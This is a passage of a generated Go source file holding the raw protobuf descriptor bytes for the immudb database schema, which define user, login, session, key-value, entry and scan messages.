0x72, 0x12, 0x3b, 0x0a, 0x0b, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69,\n\t0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75,\n\t0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73,\n\t0x73, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e,\n\t0x73, 0x12, 0x1c, 0x0a, 0x09, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x62, 0x79, 0x18, 0x04,\n\t0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x62, 0x79, 0x12,\n\t0x1c, 0x0a, 0x09, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x61, 0x74, 0x18, 0x05, 0x20, 0x01,\n\t0x28, 0x09, 0x52, 0x09, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x61, 0x74, 0x12, 0x16, 0x0a,\n\t0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x61,\n\t0x63, 0x74, 0x69, 0x76, 0x65, 0x12, 0x41, 0x0a, 0x0d, 0x73, 0x71, 0x6c, 0x50, 0x72, 0x69, 0x76,\n\t0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69,\n\t0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c,\n\t0x50, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x52, 0x0d, 0x73, 0x71, 0x6c, 0x50, 0x72,\n\t0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x22, 0x48, 0x0a, 0x0c, 0x53, 0x51, 0x4c, 0x50,\n\t0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61,\n\t0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61,\n\t0x62, 0x61, 0x73, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x70, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67,\n\t0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x70, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65,\n\t0x67, 0x65, 0x22, 0x35, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x29,\n\t0x0a, 0x05, 0x75, 0x73, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e,\n\t0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73,\n\t0x65, 0x72, 0x52, 0x05, 0x75, 0x73, 0x65, 0x72, 0x73, 0x22, 0x7f, 0x0a, 0x11, 0x43, 0x72, 0x65,\n\t0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12,\n\t0x0a, 0x04, 0x75, 0x73, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x75, 0x73,\n\t0x65, 0x72, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x02,\n\t0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x1e,\n\t0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01,\n\t0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a,\n\t0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09,\n\t0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x21, 0x0a, 0x0b, 0x55, 0x73,\n\t0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x75, 0x73, 0x65,\n\t0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x75, 0x73, 0x65, 0x72, 0x22, 0x6f, 0x0a,\n\t0x15, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52,\n\t0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x75, 0x73, 0x65, 0x72, 0x18, 0x01,\n\t0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x75, 0x73, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x6f, 0x6c,\n\t0x64, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52,\n\t0x0b, 0x6f, 0x6c, 0x64, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x20, 0x0a, 0x0b,\n\t0x6e, 0x65, 0x77, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28,\n\t0x0c, 0x52, 0x0b, 0x6e, 0x65, 0x77, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x22, 0x3e,\n\t0x0a, 0x0c, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12,\n\t0x0a, 0x04, 0x75, 0x73, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x75, 0x73,\n\t0x65, 0x72, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x02,\n\t0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x22, 0x3f,\n\t0x0a, 0x0d, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12,\n\t0x14, 0x0a, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05,\n\t0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x77, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67,\n\t0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x77, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x22,\n\t0x20, 0x0a, 0x0a, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x12, 0x0a,\n\t0x04, 0x6b, 0x69, 0x6e, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x6b, 0x69, 0x6e,\n\t0x64, 0x22, 0x26, 0x0a, 0x0a, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12,\n\t0x18, 0x0a, 0x07, 0x65, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08,\n\t0x52, 0x07, 0x65, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x22, 0x70, 0x0a, 0x12, 0x4f, 0x70, 0x65,\n\t0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12,\n\t0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28,\n\t0x0c, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70,\n\t0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x70,\n\t0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62,\n\t0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64,\n\t0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x53, 0x0a, 0x13, 0x4f,\n\t0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e,\n\t0x73, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18,\n\t0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44,\n\t0x12, 0x1e, 0x0a, 0x0a, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02,\n\t0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x55, 0x55, 0x49, 0x44,\n\t0x22, 0x80, 0x04, 0x0a, 0x0c, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f,\n\t0x6e, 0x12, 0x5a, 0x0a, 0x0c, 0x6b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x45, 0x78, 0x69, 0x73,\n\t0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x34, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62,\n\t0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69,\n\t0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x4b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x45, 0x78, 0x69, 0x73,\n\t0x74, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x48, 0x00, 0x52,\n\t0x0c, 0x6b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x12, 0x63, 0x0a,\n\t0x0f, 0x6b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74,\n\t0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x37, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e,\n\t0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74,\n\t0x69, 0x6f, 0x6e, 0x2e, 0x4b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x4e, 0x6f, 0x74, 0x45, 0x78,\n\t0x69, 0x73, 0x74, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x48,\n\t0x00, 0x52, 0x0f, 0x6b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69,\n\t0x73, 0x74, 0x12, 0x75, 0x0a, 0x15, 0x6b, 0x65, 0x79, 0x4e, 0x6f, 0x74, 0x4d, 0x6f, 0x64, 0x69,\n\t0x66, 0x69, 0x65, 0x64, 0x41, 0x66, 0x74, 0x65, 0x72, 0x54, 0x58, 0x18, 0x03, 0x20, 0x01, 0x28,\n\t0x0b, 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d,\n\t0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x4b,\n\t0x65, 0x79, 0x4e, 0x6f, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x41, 0x66, 0x74,\n\t0x65, 0x72, 0x54, 0x58, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e,\n\t0x48, 0x00, 0x52, 0x15, 0x6b, 0x65, 0x79, 0x4e, 0x6f, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69,\n\t0x65, 0x64, 0x41, 0x66, 0x74, 0x65, 0x72, 0x54, 0x58, 0x1a, 0x2c, 0x0a, 0x18, 0x4b, 0x65, 0x79,\n\t0x4d, 0x75, 0x73, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64,\n\t0x69, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01,\n\t0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x1a, 0x2f, 0x0a, 0x1b, 0x4b, 0x65, 0x79, 0x4d, 0x75,\n\t0x73, 0x74, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e,\n\t0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20,\n\t0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x1a, 0x49, 0x0a, 0x21, 0x4b, 0x65, 0x79, 0x4e,\n\t0x6f, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x41, 0x66, 0x74, 0x65, 0x72, 0x54,\n\t0x58, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x10, 0x0a,\n\t0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12,\n\t0x12, 0x0a, 0x04, 0x74, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x74,\n\t0x78, 0x49, 0x44, 0x42, 0x0e, 0x0a, 0x0c, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74,\n\t0x69, 0x6f, 0x6e, 0x22, 0x69, 0x0a, 0x08, 0x4b, 0x65, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12,\n\t0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65,\n\t0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c,\n\t0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64,\n\t0x61, 0x74, 0x61, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75,\n\t0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61,\n\t0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x22, 0xea,\n\t0x01, 0x0a, 0x05, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01,\n\t0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18,\n\t0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61,\n\t0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65,\n\t0x12, 0x3c, 0x0a, 0x0c, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x64, 0x42, 0x79,\n\t0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e,\n\t0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65,\n\t0x52, 0x0c, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x64, 0x42, 0x79, 0x12, 0x35,\n\t0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b,\n\t0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61,\n\t0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74,\n\t0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x64,\n\t0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x64, 0x12,\n\t0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28,\n\t0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x94, 0x01, 0x0a, 0x09,\n\t0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18,\n\t0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79,\n\t0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61,\n\t0x74, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12,\n\t0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28,\n\t0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d,\n\t0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65,\n\t0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69,\n\t0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69,\n\t0x6f, 0x6e, 0x22, 0xa3, 0x01, 0x0a, 0x02, 0x4f, 0x70, 0x12, 0x29, 0x0a, 0x02, 0x6b, 0x76, 0x18,\n\t0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73,\n\t0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00,\n\t0x52, 0x02, 0x6b, 0x76, 0x12, 0x30, 0x0a, 0x04, 0x7a, 0x41, 0x64, 0x64, 0x18, 0x02, 0x20, 0x01,\n\t0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65,\n\t0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x48, 0x00,\n\t0x52, 0x04, 0x7a, 0x41, 0x64, 0x64, 0x12, 0x33, 0x0a, 0x03, 0x72, 0x65, 0x66, 0x18, 0x03, 0x20,\n\t0x01, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68,\n\t0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71,\n\t0x75, 0x65, 0x73, 0x74, 0x48, 0x00, 0x52, 0x03, 0x72, 0x65, 0x66, 0x42, 0x0b, 0x0a, 0x09, 0x6f,\n\t0x70, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x9e, 0x01, 0x0a, 0x0e, 0x45, 0x78, 0x65,\n\t0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x31, 0x0a, 0x0a, 0x4f,\n\t0x70, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32,\n\t0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e,\n\t0x4f, 0x70, 0x52, 0x0a, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x16,\n\t0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06,\n\t0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e,\n\t0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e,\n\t0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72,\n\t0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63,\n\t0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x39, 0x0a, 0x07, 0x45, 0x6e, 0x74,\n\t0x72, 0x69, 0x65, 0x73, 0x12, 0x2e, 0x0a, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18,\n\t0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73,\n\t0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x65, 0x6e, 0x74,\n\t0x72, 0x69, 0x65, 0x73, 0x22, 0x82, 0x01, 0x0a, 0x06, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12,\n\t0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x73, 0x65,\n\t0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03,\n\t0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x65, 0x6e, 0x74, 0x72, 0x79, 0x18, 0x03, 0x20, 0x01,\n\t0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65,\n\t0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x05, 0x65, 0x6e, 0x74, 0x72, 0x79, 0x12,\n\t0x14, 0x0a, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x01, 0x52, 0x05,\n\t0x73, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x05, 0x20,\n\t0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x22, 0x3b, 0x0a, 0x08, 0x5a, 0x45, 0x6e,\n\t0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73,\n\t0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e,\n\t0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x65,\n\t0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x95, 0x02, 0x0a, 0x0b, 0x53, 0x63, 0x61, 0x6e, 0x52,\n\t0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x65, 0x65, 0x6b, 0x4b, 0x65,\n\t0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x73, 0x65, 0x65, 0x6b, 0x4b, 0x65, 0x79,\n\t0x12, 0x16, 0x0a, 0x06, 0x65, 0x6e, 0x64, 0x4b, 0x65, 0x79, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0c,\n\t0x52, 0x06, 0x65, 0x6e, 0x64, 0x4b, 0x65, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x70, 0x72, 0x65, 0x66,\n\t0x69, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78,\n\t0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04,\n\t0x64, 0x65, 0x73, 0x63, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x04, 0x20,\n\t0x01, 0x28, 0x04, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69,\n\t0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e,\n\t0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 